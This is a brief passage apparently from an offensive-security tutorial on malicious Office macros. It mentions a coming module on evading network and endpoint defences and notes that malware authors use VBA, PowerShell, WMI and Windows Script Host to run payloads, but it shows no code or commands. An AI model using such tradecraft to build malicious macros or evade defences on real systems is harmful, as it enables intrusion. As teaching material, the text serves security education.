    Later in the tutorial, we will dedicate a whole module to evading network-based and endpoint-based defences. We have barely scratched the surface as far as custom macro development is concerned; the author’s imagination is the only limit to malicious macro development.

    We chose to illustrate some macro malware cases to demonstrate how Visual Basic for Applications, PowerShell, WMI Scripting and Windows Script Host are being used by malware authors.

    Leveraging the abovementioned technologies and the various techniques we have covered so far can give near-endless possibilities of payload execution from inside a macro.

    Captcha: What's the standard TCP port of the following service?

    captcha

    0 comments